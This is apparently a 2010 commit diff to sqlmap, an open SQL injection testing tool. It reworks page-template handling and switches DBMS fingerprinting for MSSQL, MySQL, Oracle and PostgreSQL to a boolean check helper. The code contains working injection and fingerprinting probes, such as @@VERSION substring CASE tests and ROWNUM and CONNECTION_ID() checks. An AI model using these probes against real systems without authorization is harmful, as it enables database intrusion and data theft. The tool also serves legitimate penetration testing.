OR based inference works for the first time in history and fingerprint of 4 major DBMSes is now injection based (instead of AND)

This commit is contained in:
Miroslav Stampar 2010-12-06 18:20:57 +00:00
parent e4b51dd549
commit d77ddbee47
8 changed files with 36 additions and 40 deletions

View File

@ -263,14 +263,12 @@ def checkSqlInjection(place, parameter, value):
# test's <where> tag # test's <where> tag
if where == 1: if where == 1:
origValue = value origValue = value
kb.pageTemplate = kb.originalPage
elif where == 2: elif where == 2:
origValue = "-%s" % randomInt() origValue = "-%s" % randomInt()
# Use different page template than the original one
# Save original page template and replace with current one
# as we are changing parameters value, which will result # as we are changing parameters value, which will result
# most definitely with a different "page template" used by the # most definitely with a different content
# comparison engine
pushValue(kb.pageTemplate)
kb.pageTemplate, _ = Request.queryPage(agent.payload(place, parameter, value, origValue), place, content=True) kb.pageTemplate, _ = Request.queryPage(agent.payload(place, parameter, value, origValue), place, content=True)
elif where == 3: elif where == 3:
origValue = "" origValue = ""
@ -362,10 +360,6 @@ def checkSqlInjection(place, parameter, value):
# Restore old value of socket timeout # Restore old value of socket timeout
socket.setdefaulttimeout(popValue()) socket.setdefaulttimeout(popValue())
# Restore page template
if where == 2:
kb.pageTemplate = popValue()
# If the injection test was successful feed the injection # If the injection test was successful feed the injection
# object with the test's details # object with the test's details
if injectable is True: if injectable is True:
@ -395,6 +389,7 @@ def checkSqlInjection(place, parameter, value):
injection.data[stype].where = where injection.data[stype].where = where
injection.data[stype].vector = vector injection.data[stype].vector = vector
injection.data[stype].comment = comment injection.data[stype].comment = comment
injection.data[stype].pageTemplate = kb.pageTemplate
if "details" in test: if "details" in test:
for detailKey, detailValue in test.details.items(): for detailKey, detailValue in test.details.items():
@ -562,7 +557,7 @@ def checkStability():
infoMsg = "testing if the url is stable, wait a few seconds" infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(infoMsg) logger.info(infoMsg)
firstPage = kb.pageTemplate # set inside checkConnection() firstPage = kb.originalPage # set inside checkConnection()
time.sleep(1) time.sleep(1)
secondPage, _ = Request.queryPage(content=True) secondPage, _ = Request.queryPage(content=True)
@ -758,7 +753,7 @@ def checkConnection(suppressOutput=False):
start = time.time() start = time.time()
page, _ = Request.queryPage(content=True) page, _ = Request.queryPage(content=True)
kb.responseTime = time.time() - start kb.responseTime = time.time() - start
kb.pageTemplate = page kb.originalPage = kb.pageTemplate = page
except sqlmapConnectionException, errMsg: except sqlmapConnectionException, errMsg:
errMsg = getUnicode(errMsg) errMsg = getUnicode(errMsg)
raise sqlmapConnectionException, errMsg raise sqlmapConnectionException, errMsg

View File

@ -209,13 +209,17 @@ class Agent:
payload = payload.replace("[ORIGVALUE]", origvalue) payload = payload.replace("[ORIGVALUE]", origvalue)
if kb.dbms is not None: if "[INFERENCE]" in payload:
inferenceQuery = queries[kb.dbms].inference.query if kb.dbms is not None:
payload = payload.replace("[INFERENCE]", inferenceQuery) inferenceQuery = queries[kb.dbms].inference.query
elif "[INFERENCE]" in payload: payload = payload.replace("[INFERENCE]", inferenceQuery)
errMsg = "invalid usage of inference payload without knowledge " elif kb.misc.testedDbms is not None:
errMsg += "of underlying DBMS" inferenceQuery = queries[kb.misc.testedDbms].inference.query
raise sqlmapNoneDataException, errMsg payload = payload.replace("[INFERENCE]", inferenceQuery)
else:
errMsg = "invalid usage of inference payload without knowledge "
errMsg += "of underlying DBMS"
raise sqlmapNoneDataException, errMsg
return payload return payload
@ -659,7 +663,7 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
return queries[kb.dbms].case.query % expression return queries[kb.dbms if kb.dbms else kb.misc.testedDbms].case.query % expression
def addPayloadDelimiters(self, inpStr): def addPayloadDelimiters(self, inpStr):
""" """

View File

@ -1159,6 +1159,7 @@ def __setKnowledgeBaseAttributes():
kb.nullConnection = None kb.nullConnection = None
kb.pageTemplate = None kb.pageTemplate = None
kb.originalPage = None
# Back-end DBMS underlying operating system fingerprint via banner (-b) # Back-end DBMS underlying operating system fingerprint via banner (-b)
# parsing # parsing

View File

@ -100,8 +100,10 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
if kb.injection.data[1].vector is not None: if kb.injection.data[1].vector is not None:
vector = agent.cleanupPayload(kb.injection.data[1].vector) vector = agent.cleanupPayload(kb.injection.data[1].vector)
kb.pageTemplate = kb.injection.data[1].pageTemplate
else: else:
vector = queries[kb.misc.testedDbms].inference.query vector = queries[kb.misc.testedDbms].inference.query
kb.pageTemplate = kb.originalPage
query = agent.prefixQuery(vector) query = agent.prefixQuery(vector)
query = agent.suffixQuery(query) query = agent.suffixQuery(query)
@ -441,3 +443,6 @@ def goStacked(expression, silent=False):
page, _ = Request.queryPage(payload, content=True, silent=silent) page, _ = Request.queryPage(payload, content=True, silent=silent)
return payload, page return payload, page
def checkBooleanExpression(expression):
return getValue(agent.forgeCaseStatement(expression), expected="int", charsetType=1) == "1"

View File

@ -92,8 +92,7 @@ class Fingerprint(GenericFingerprint):
result = True result = True
else: else:
randInt = randomInt() randInt = randomInt()
payload = agent.fullPayload("AND BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt)) result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt))
result = Request.queryPage(payload)
if result: if result:
infoMsg = "confirming Microsoft SQL Server" infoMsg = "confirming Microsoft SQL Server"
@ -101,13 +100,12 @@ class Fingerprint(GenericFingerprint):
for version in (0, 5, 8): for version in (0, 5, 8):
randInt = randomInt() randInt = randomInt()
query = "AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1)) check = "%d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
if conf.direct: if conf.direct:
query = query.replace("AND ", "SELECT 1 WHERE ", 1) check = "SELECT 1 WHERE " + check
payload = agent.fullPayload(query) result = inject.checkBooleanExpression(check)
result = Request.queryPage(payload)
if result: if result:
if version == 8: if version == 8:
@ -126,9 +124,8 @@ class Fingerprint(GenericFingerprint):
break break
else: else:
query = "AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1)) check = "%d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
payload = agent.fullPayload(query) result = inject.checkBooleanExpression(check)
result = Request.queryPage(payload)
if result: if result:
kb.dbmsVersion = ["7.0"] kb.dbmsVersion = ["7.0"]

View File

@ -163,15 +163,13 @@ class Fingerprint(GenericFingerprint):
logger.info(infoMsg) logger.info(infoMsg)
randInt = getUnicode(randomInt(1)) randInt = getUnicode(randomInt(1))
payload = agent.fullPayload("AND CONNECTION_ID()=CONNECTION_ID()") result = inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()")
result = Request.queryPage(payload)
if result: if result:
infoMsg = "confirming MySQL" infoMsg = "confirming MySQL"
logger.info(infoMsg) logger.info(infoMsg)
payload = agent.fullPayload("AND ISNULL(1/0)" if kb.injection.place != PLACE.URI else "AND ISNULL(1 DIV 0)") result = inject.checkBooleanExpression("ISNULL(1/0)" if kb.injection.place != PLACE.URI else "ISNULL(1 DIV 0)")
result = Request.queryPage(payload)
if not result: if not result:
warnMsg = "the back-end DBMS is not MySQL" warnMsg = "the back-end DBMS is not MySQL"

View File

@ -80,8 +80,7 @@ class Fingerprint(GenericFingerprint):
if conf.direct: if conf.direct:
result = True result = True
else: else:
payload = agent.fullPayload("AND ROWNUM=ROWNUM") result = inject.checkBooleanExpression("ROWNUM=ROWNUM")
result = Request.queryPage(payload)
if result: if result:
logMsg = "confirming Oracle" logMsg = "confirming Oracle"
@ -92,8 +91,7 @@ class Fingerprint(GenericFingerprint):
if conf.direct: if conf.direct:
result = True result = True
else: else:
payload = agent.fullPayload("AND LENGTH(SYSDATE)=LENGTH(SYSDATE)") result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)")
result = Request.queryPage(payload)
if not result: if not result:
warnMsg = "the back-end DBMS is not Oracle" warnMsg = "the back-end DBMS is not Oracle"

View File

@ -86,15 +86,13 @@ class Fingerprint(GenericFingerprint):
randInt = getUnicode(randomInt(1)) randInt = getUnicode(randomInt(1))
payload = agent.fullPayload("AND %s::int=%s" % (randInt, randInt)) result = inject.checkBooleanExpression("%s::int=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result: if result:
infoMsg = "confirming PostgreSQL" infoMsg = "confirming PostgreSQL"
logger.info(infoMsg) logger.info(infoMsg)
payload = agent.fullPayload("AND COALESCE(%s, NULL)=%s" % (randInt, randInt)) result = inject.checkBooleanExpression("COALESCE(%s, NULL)=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if not result: if not result:
warnMsg = "the back-end DBMS is not PostgreSQL" warnMsg = "the back-end DBMS is not PostgreSQL"